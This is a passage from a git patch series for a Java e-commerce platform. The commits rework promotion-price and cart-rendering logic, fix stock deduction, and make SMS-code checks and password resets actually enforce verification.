Content-Transfer-Encoding: 8bit --- .../serviceimpl/GoodsSkuServiceImpl.java | 26 +++++++++----- .../cart/render/impl/CheckDataRender.java | 11 ++++-- .../cart/render/impl/CommissionRender.java | 8 +++-- .../cart/render/impl/FullDiscountRender.java | 5 ++- .../cart/render/impl/SkuPromotionRender.java | 7 ++-- .../order/cart/service/CartServiceImpl.java | 35 ++++++++++++++----- 6 files changed, 66 insertions(+), 26 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 77526c48..e310faba 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -33,7 +33,10 @@ import cn.lili.modules.member.entity.dos.FootPrint; import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; import cn.lili.modules.member.service.MemberEvaluationService; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.CouponGetEnum; +import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; @@ -104,6 +107,9 @@ public class GoodsSkuServiceImpl extends ServiceImpl i @Autowired private EsGoodsIndexService goodsIndexService; + @Autowired + private PromotionGoodsService promotionGoodsService; + @Override public void add(List> skuList, Goods goods) { // 检查是否需要生成索引 @@ -253,9 +259,6 @@ public class GoodsSkuServiceImpl extends ServiceImpl i Map promotionMap = goodsIndex.getPromotionMap(); //设置当前商品的促销价格 - if (promotionMap != null && !promotionMap.isEmpty() && goodsIndex.getPromotionPrice() != null) { - goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); - } if (promotionMap != null && !promotionMap.isEmpty()) { promotionMap = promotionMap.entrySet().stream().parallel().filter(i -> { JSONObject jsonObject = JSONUtil.parseObj(i.getValue()); @@ -265,11 +268,18 @@ public class GoodsSkuServiceImpl extends ServiceImpl i (jsonObject.get("endTime") == null || jsonObject.get("endTime", Date.class).getTime() >= System.currentTimeMillis()); }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)); - boolean containsPromotion = promotionMap.keySet().stream().anyMatch(i -> - i.contains(PromotionTypeEnum.SECKILL.name()) || i.contains(PromotionTypeEnum.PINTUAN.name())); - if (containsPromotion && goodsIndex.getPromotionPrice() != null) { - goodsSkuDetail.setPromotionFlag(true); - goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); + Optional> containsPromotion = promotionMap.entrySet().stream().filter(i -> + i.getKey().contains(PromotionTypeEnum.SECKILL.name()) || i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (containsPromotion.isPresent()) { + JSONObject jsonObject = JSONUtil.parseObj(containsPromotion.get().getValue()); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setSkuId(skuId); + searchParams.setPromotionId(jsonObject.get("id").toString()); + PromotionGoods promotionsGoods = promotionGoodsService.getPromotionsGoods(searchParams); + if (promotionsGoods != null && promotionsGoods.getPrice() != null) { + goodsSkuDetail.setPromotionFlag(true); + goodsSkuDetail.setPromotionPrice(promotionsGoods.getPrice()); + } } else { goodsSkuDetail.setPromotionFlag(false); goodsSkuDetail.setPromotionPrice(null); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index f217efd5..9e47a349 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -1,6 +1,8 @@ package cn.lili.modules.order.cart.render.impl; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; @@ -120,7 +122,8 @@ public class CheckDataRender implements CartRenderStep { //移除无效促销活动 if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { cartSkuVO.setPromotionMap(cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> { - BasePromotions basePromotions = (BasePromotions) i.getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(i.getValue()); + BasePromotions basePromotions = promotionsObj.toBean(BasePromotions.class); if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) { return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis(); } @@ -189,7 +192,8 @@ public class CheckDataRender implements CartRenderStep { if (tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { Optional> pintuanPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); if (pintuanPromotions.isPresent()) { - Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(pintuanPromotions.get().getValue()); + Pintuan pintuan = promotionsObj.toBean(Pintuan.class); Integer limitNum = pintuan.getLimitNum(); for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { @@ -203,7 +207,8 @@ public class CheckDataRender implements CartRenderStep { //获取积分商品VO Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); if (pointsPromotions.isPresent()) { - PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(pointsPromotions.get().getValue()); + PointsGoods pointsGoods = promotionsObj.toBean(PointsGoods.class); if (pointsGoods == null) { throw new ServiceException(ResultCode.POINT_GOODS_ERROR); } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java index bcd389ef..4df13428 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java @@ -1,6 +1,8 @@ package cn.lili.modules.order.cart.render.impl; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.goods.service.CategoryService; import cn.lili.modules.order.cart.entity.dto.TradeDTO; @@ -72,7 +74,8 @@ public class CommissionRender implements CartRenderStep { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS) && tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); if (pointsPromotions.isPresent()) { - PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(pointsPromotions.get().getValue()); + PointsGoods pointsGoods = JSONUtil.toBean(promotionsObj, PointsGoods.class); priceDetailDTO.setSettlementPrice(pointsGoods.getSettlementPrice()); } } @@ -80,7 +83,8 @@ public class CommissionRender implements CartRenderStep { else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA) && tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { Optional> kanjiaPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); if (kanjiaPromotions.isPresent()) { - KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(kanjiaPromotions.get().getValue()); + KanjiaActivityGoods kanjiaActivityGoods = JSONUtil.toBean(promotionsObj, KanjiaActivityGoods.class); priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice()); } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java index 1ef8b5bf..a20ec4e3 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java @@ -1,5 +1,7 @@ package cn.lili.modules.order.cart.render.impl; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.utils.CurrencyUtil; import cn.lili.modules.goods.entity.dos.GoodsSku; @@ -55,7 +57,8 @@ public class FullDiscountRender implements CartRenderStep { Optional> fullDiscountOptional = fullDiscountSkuList.get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.FULL_DISCOUNT.name())).findFirst(); if (fullDiscountOptional.isPresent()) { - FullDiscount fullDiscount = (FullDiscount) fullDiscountOptional.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(fullDiscountOptional.get().getValue()); + FullDiscount fullDiscount = promotionsObj.toBean(FullDiscount.class); FullDiscountVO fullDiscountVO = new FullDiscountVO(fullDiscount); //如果有赠品,则将赠品信息写入 diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java index 613de67c..cfcfe37b 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java @@ -1,5 +1,7 @@ package cn.lili.modules.order.cart.render.impl; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; @@ -13,7 +15,6 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.vos.PromotionSkuVO; @@ -140,8 +141,8 @@ public class SkuPromotionRender implements CartRenderStep { continue; } - BasePromotions basePromotions = (BasePromotions) entry.getValue(); - PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], basePromotions.getId()); + JSONObject promotionsObj = JSONUtil.parseObj(entry.getValue()); + PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], promotionsObj.get("id", String.class)); cartSkuVO.setSubTotal(CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); cartSkuVO.getPriceDetailDTO().setGoodsPrice(cartSkuVO.getSubTotal()); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index cd0334ea..a8fcf964 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -1,6 +1,7 @@ package cn.lili.modules.order.cart.service; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.common.enums.PromotionTypeEnum; @@ -31,10 +32,10 @@ import cn.lili.modules.order.cart.render.TradeBuilder; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.vo.ReceiptVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; -import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.dos.Pintuan; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; @@ -42,6 +43,7 @@ import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.modules.promotion.service.PointsGoodsService; +import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.search.service.EsGoodsSearchService; @@ -132,6 +134,9 @@ public class CartServiceImpl implements CartService { @Autowired private MemberService memberService; + @Autowired + private PromotionGoodsService promotionGoodsService; + @Override public void add(String skuId, Integer num, String cartType, Boolean cover) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); @@ -570,8 +575,20 @@ public class CartServiceImpl implements CartService { if (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.SECKILL.name())) || (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name())) && CartTypeEnum.PINTUAN.name().equals(cartType))) { - dataSku.setPromotionFlag(true); - dataSku.setPromotionPrice(goodsIndex.getPromotionPrice()); + + Optional> containsPromotion = goodsIndex.getPromotionMap().entrySet().stream().filter(i -> + i.getKey().contains(PromotionTypeEnum.SECKILL.name()) || i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (containsPromotion.isPresent()) { + JSONObject promotionsObj = JSONUtil.parseObj(containsPromotion.get().getValue()); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setSkuId(dataSku.getId()); + searchParams.setPromotionId(promotionsObj.get("id").toString()); + PromotionGoods promotionsGoods = promotionGoodsService.getPromotionsGoods(searchParams); + if (promotionsGoods != null && promotionsGoods.getPrice() != null) { + dataSku.setPromotionFlag(true); + dataSku.setPromotionPrice(promotionsGoods.getPrice()); + } + } } promotionMap = goodsIndex.getPromotionMap(); } else { @@ -718,11 +735,11 @@ public class CartServiceImpl implements CartService { if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { Optional> pintuanPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); if (pintuanPromotions.isPresent()) { - Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(pintuanPromotions.get().getValue()); //写入拼团信息 - cartSkuVO.setPintuanId(pintuan.getId()); + cartSkuVO.setPintuanId(promotionsObj.get("id").toString()); //检测拼团限购数量 - Integer limitNum = pintuan.getLimitNum(); + Integer limitNum = promotionsObj.get("limitNum", Integer.class); if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); } @@ -739,10 +756,10 @@ public class CartServiceImpl implements CartService { if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { Optional> kanjiaPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); if (kanjiaPromotions.isPresent()) { - KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(kanjiaPromotions.get().getValue()); //查找当前会员的砍价商品活动 KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); - kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoods.getId()); + kanjiaActivitySearchParams.setKanjiaActivityGoodsId(promotionsObj.get("id", String.class)); kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams); From 6465dc2b73116504ed30b10f87a1aa3c364cceba Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 30 Dec 2021 09:52:54 +0800 Subject: [PATCH 125/145] =?UTF-8?q?=E9=80=82=E9=85=8D=E4=BC=98=E5=8C=96?= =?UTF-8?q?=E6=9B=B4=E6=96=B0=E7=B4=A2=E5=BC=95=E4=BF=83=E9=94=80=E6=96=B9?= =?UTF-8?q?=E5=BC=8F=E7=9A=84=E7=BB=93=E7=AE=97=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../promotion/KanjiaGoodsActivityBuyerController.java | 4 ++-- .../modules/order/cart/render/impl/CheckDataRender.java | 6 ++++-- .../promotion/serviceimpl/CouponActivityServiceImpl.java | 2 +- .../promotion/serviceimpl/FullDiscountServiceImpl.java | 2 +- .../modules/promotion/serviceimpl/PintuanServiceImpl.java | 2 +- .../promotion/serviceimpl/PointsGoodsServiceImpl.java | 2 +- 6 files changed, 10 insertions(+), 8 deletions(-) diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java index 6f6ab3ef..5fcf7832 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java @@ -1,6 +1,6 @@ package cn.lili.controller.promotion; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; @@ -79,7 +79,7 @@ public class KanjiaGoodsActivityBuyerController { @ApiOperation(value = "获取砍价活动") public ResultMessage getKanJiaActivity(KanjiaActivitySearchParams kanjiaActivitySearchParams) { //如果是非被邀请关系则填写会员ID - if (StrUtil.isEmpty(kanjiaActivitySearchParams.getKanjiaActivityId())) { + if (CharSequenceUtil.isEmpty(kanjiaActivitySearchParams.getKanjiaActivityId())) { kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); } return ResultUtil.data(kanJiaActivityService.getKanjiaActivityVO(kanjiaActivitySearchParams)); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index 9e47a349..6ddd6b2c 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -154,8 +154,10 @@ public class CheckDataRender implements CartRenderStep { try { //筛选属于当前店铺的优惠券 storeCart.getValue().forEach(i -> i.getPromotionMap().forEach((key, value) -> { - if (key.contains(PromotionTypeEnum.COUPON.name()) && ((Coupon) value).getStoreId().equals(storeCart.getKey())) { - cartVO.getCanReceiveCoupon().add(new CouponVO((Coupon) value)); + JSONObject promotionsObj = JSONUtil.parseObj(value); + Coupon coupon = JSONUtil.toBean(promotionsObj, Coupon.class); + if (key.contains(PromotionTypeEnum.COUPON.name()) && coupon.getStoreId().equals(storeCart.getKey())) { + cartVO.getCanReceiveCoupon().add(new CouponVO(coupon)); } })); } catch (Exception e) { diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java index f7961151..c413e6a4 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java @@ -137,7 +137,7 @@ public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl Date: Thu, 30 Dec 2021 10:31:56 +0800 Subject: [PATCH 126/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=89=A3=E5=87=8F?= =?UTF-8?q?=E5=95=86=E5=93=81=E5=BA=93=E5=AD=98=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../src/main/java/cn/lili/event/impl/StockUpdateExecute.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java index 9fd89c58..ec18b31f 100644 --- a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java @@ -298,7 +298,7 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { pointsGoodsService.updateById(pointsGoodsVO); } else { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); - searchParams.setPromotionStatus(promotionTypeEnum.name()); + searchParams.setPromotionType(promotionTypeEnum.name()); searchParams.setPromotionId(orderItem.getPromotionId()); searchParams.setSkuId(orderItem.getSkuId()); PromotionGoods pGoods = promotionGoodsService.getPromotionsGoods(searchParams); From fa443a091f0474b620b995e98e3c37e3a35a77bb Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 30 Dec 2021 16:44:50 +0800 Subject: [PATCH 127/145] =?UTF-8?q?=E7=9F=AD=E4=BF=A1=E9=AA=8C=E8=AF=81?= =?UTF-8?q?=E7=A0=81=E9=AA=8C=E8=AF=81=E7=BB=93=E6=9E=9C=E6=9C=AA=E7=94=9F?= =?UTF-8?q?=E6=95=88=E9=97=AE=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 1 + .../DistributionCashBuyerController.java | 3 +- .../passport/MemberBuyerController.java | 28 +++++++++++++------ .../wallet/MemberWalletBuyerController.java | 2 +- 4 files changed, 23 insertions(+), 11 deletions(-) diff --git a/.gitignore b/.gitignore index 6d9167f5..d7370a10 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,7 @@ target .factorypath log/ +logs/ *.factorypath lili-shop/src/main/java/cn/lili/generator/CodeGenerator.java lili-logs diff --git a/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java index 4b6d310e..85ff1309 100644 --- a/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java @@ -13,6 +13,7 @@ import io.swagger.annotations.ApiImplicitParam; import io.swagger.annotations.ApiImplicitParams; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; @@ -52,7 +53,7 @@ public class DistributionCashBuyerController { @ApiImplicitParam(name = "price", value = "申请金额", required = true, paramType = "query", dataType = "double") }) @PostMapping - public ResultMessage cash(@Max(value = 1000, message = "提现金额单次最多允许提现1000元") + public ResultMessage cash(@Validated @Max(value = 9999, message = "提现金额单次最多允许提现9999元") @Min(value = 1, message = "提现金额单次最少提现金额为1元") @NotNull @ApiIgnore Double price) { if (distributionCashService.cash(price)) { diff --git a/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java index 7f3b3789..2f465bae 100644 --- a/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java @@ -1,6 +1,8 @@ package cn.lili.controller.passport; +import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; +import cn.lili.common.exception.ServiceException; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.member.entity.dos.Member; @@ -66,8 +68,11 @@ public class MemberBuyerController { public ResultMessage smsLogin(@NotNull(message = "手机号为空") @RequestParam String mobile, @NotNull(message = "验证码为空") @RequestParam String code, @RequestHeader String uuid) { - smsUtil.verifyCode(mobile, VerificationEnums.LOGIN, uuid, code); - return ResultUtil.data(memberService.mobilePhoneLogin(mobile)); + if (smsUtil.verifyCode(mobile, VerificationEnums.LOGIN, uuid, code)) { + return ResultUtil.data(memberService.mobilePhoneLogin(mobile)); + } else { + throw new ServiceException(ResultCode.VERIFICATION_SMS_CHECKED_ERROR); + } } @ApiOperation(value = "注册用户") @@ -84,8 +89,11 @@ public class MemberBuyerController { @RequestHeader String uuid, @NotNull(message = "验证码不能为空") @RequestParam String code) { - smsUtil.verifyCode(mobilePhone, VerificationEnums.REGISTER, uuid, code); - return ResultUtil.data(memberService.register(username, password, mobilePhone)); + if (smsUtil.verifyCode(mobilePhone, VerificationEnums.REGISTER, uuid, code)) { + return ResultUtil.data(memberService.register(username, password, mobilePhone)); + } else { + throw new ServiceException(ResultCode.VERIFICATION_SMS_CHECKED_ERROR); + } } @@ -106,11 +114,13 @@ public class MemberBuyerController { @NotNull(message = "验证码为空") @RequestParam String code, @RequestHeader String uuid) { //校验短信验证码是否正确 - smsUtil.verifyCode(mobile, VerificationEnums.FIND_USER, uuid, code); - //校验是否通过手机号可获取会员,存在则将会员信息存入缓存,有效时间3分钟 - memberService.findByMobile(uuid, mobile); - - return ResultUtil.success(); + if (smsUtil.verifyCode(mobile, VerificationEnums.FIND_USER, uuid, code)) { + //校验是否通过手机号可获取会员,存在则将会员信息存入缓存,有效时间3分钟 + memberService.findByMobile(uuid, mobile); + return ResultUtil.success(); + } else { + throw new ServiceException(ResultCode.VERIFICATION_SMS_CHECKED_ERROR); + } } @ApiOperation(value = "修改密码") diff --git a/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java index 015342f3..59d8a579 100644 --- a/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java @@ -125,7 +125,7 @@ public class MemberWalletBuyerController { @ApiImplicitParams({ @ApiImplicitParam(name = "price", value = "提现金额", required = true, dataType = "double", paramType = "query") }) - public ResultMessage withdrawal(@Max(value = 1000, message = "充值金额单次最多允许提现1000元") @Min(value = 1, message = "充值金额单次最少提现金额为1元") Double price) { + public ResultMessage withdrawal(@Max(value = 9999, message = "充值金额单次最多允许提现9999元") @Min(value = 1, message = "充值金额单次最少提现金额为1元") Double price) { return ResultUtil.data(memberWalletService.applyWithdrawal(price)); } From 832b065a460acd1598116a43cea59656841ee6cc Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 30 Dec 2021 16:49:55 +0800 Subject: [PATCH 128/145] =?UTF-8?q?=E5=AF=86=E7=A0=81=E9=87=8D=E7=BD=AE?= =?UTF-8?q?=E5=8F=AF=E4=BB=A5=E8=A2=AB=E5=A4=9A=E6=AC=A1=E8=B0=83=E7=94=A8?= =?UTF-8?q?=E9=97=AE=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/member/serviceimpl/MemberServiceImpl.java | 1 + 1 file changed, 1 insertion(+) diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java index 1695271e..3a995b4f 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java @@ -315,6 +315,7 @@ public class MemberServiceImpl extends ServiceImpl impleme LambdaUpdateWrapper lambdaUpdateWrapper = Wrappers.lambdaUpdate(); lambdaUpdateWrapper.eq(Member::getMobile, phone); lambdaUpdateWrapper.set(Member::getPassword, new BCryptPasswordEncoder().encode(password)); + cache.remove(CachePrefix.FIND_MOBILE + uuid); return this.update(lambdaUpdateWrapper); } else { throw new ServiceException(ResultCode.USER_PHONE_NOT_EXIST); From 194d0b6ac2097b050aaa795c5df943dbb0593d74 Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 30 Dec 2021 16:59:45 +0800 Subject: [PATCH 129/145] =?UTF-8?q?=E4=BC=98=E5=8C=96es=E7=B4=A2=E5=BC=95?= 